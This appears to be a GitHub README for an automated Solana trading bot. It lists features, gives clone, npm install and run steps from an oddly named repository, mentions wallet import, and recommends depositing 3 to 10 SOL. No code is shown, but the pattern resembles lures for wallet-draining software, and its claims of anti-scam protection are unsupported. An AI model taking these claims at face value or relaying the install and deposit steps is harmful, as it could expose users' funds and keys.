Solana-TradeTool is an advanced trading system for the Solana blockchain, featuring a user-friendly interface and seamless integration with decentralized exchanges like Jupiter, Raydium, and Pump.FUN.
- 🚫 Anti-Scam Protection: Automatically filters potentially risky tokens.
- 🔗 Auto Network Integration: Effortless connection to the Solana blockchain.
- 💰 Stop-Loss & Take-Profit: Customizable risk management settings.
- 💸 Market Cap Screening: Excludes tokens with low market capitalization.
- 💳 Flexible Transactions: Set fixed amounts or balance percentages for trades.
- 📱 Mobile-Optimized: Trade on the go with a phone-friendly interface.
- ✅ No Setup Required: Pre-bundled JavaScript, no dependencies needed.
- 🌍 Cross-Platform: Compatible with PC, Mac, tablets, and phones.
- Wallet Import: Import existing wallets during setup.
- Browser Deployment: Deploy HTML, CSS, and JS files to a server or run locally.
- New Token Scanning with Anti-Scam: Automatically scans and filters newly discovered tokens using advanced protection.
- 💰 Stop-Loss and Take-Profit: Set thresholds for automatic sales at desired profit or minimal loss levels.
- 💸 Token Market Cap Screening: Exclude low market cap tokens from trading.
- 💳 Transaction Amount Settings: Configure fixed amounts or balance percentages for trades.
EXAMPLE: SolScan Example Account Tool
💰 Important: For effective operation and risk minimization, a starting balance of at least 3 SOL is recommended, as the system manages multiple trading operations simultaneously. The optimal starting balance is 5-10 SOL.
When launching the project through Visual Studio Code, the main menu of Solana-TradeTool will open:
- 📋 Main Menu: Displays key features like wallet management, balance overview, trading operations, and system configuration.
- ⚙️ Settings and Management: Configure Stop-Loss, Take-Profit, select decentralized exchanges, and manage wallets.
📷 Main Menu Screenshots:
Ensure the following programs are installed:
Alternatively, download the ZIP file manually from the GitHub repository:
- Visit the repository's page on GitHub.
- Click the Code button (green).
- Select Download ZIP.
- Extract the ZIP file to any folder on your computer.
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📂 Clone the Repository:
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Open Terminal (macOS/Linux) or Command Prompt (CMD) (Windows).
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Navigate to the desired folder:
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Clone the repository from GitHub:
git clone https://github.com/zoOmp2FCrash147warp/Solana-bot.git
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Navigate to the project folder:
cd path-to-your-project
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📦 Install Dependencies:
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Ensure Node.js is installed. If not, download it from Node.js.
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Run the following command in the terminal:
npm install
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This installs all dependencies listed in
package.json.
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🚀 Launch the Application:
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After installing dependencies, start the application:
node trade.js
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If successful, the application will start, and you’ll see confirmation messages in the terminal.
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💻 Run the Script:
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Open the terminal or command prompt.
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Navigate to the project directory:
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Launch the application:
node trade.js
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Tip: Use a code editor like Visual Studio Code, Sublime Text, Atom, or another IDE.
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👜 Create a New Solana-TradeTool Wallet:
- In the main menu, select
Create New Wallet. - Securely save your Wallet Key.
- In the main menu, select
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💸 Deposit:
- Method 1: Manual Transfer — Send SOL to the created wallet address.
- Method 2: QR Code — Generate a QR code in the
Depositsection for transfers.
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📊 Check Balance:
- Method 1: Click the
Balancebutton in the application. - Method 2: Use 🔗 SolScan to verify your balance.
- Method 1: Click the
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⚙️ Configure the System:
- Go to the
Settingssection. - Set Stop-Loss, Take-Profit, and minimum/maximum transaction amounts.
- Select decentralized exchanges for trading.
- Go to the
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🚀 Start the System:
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Startto begin operations.
- Click
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💸 Withdraw Funds and Stop the System:
- Navigate to the
Withdrawsection. - Enter the wallet address for fund transfers.
- Confirm the withdrawal to halt operations.
- Navigate to the
This project is licensed under the MIT License. Details can be found in the LICENSE file.



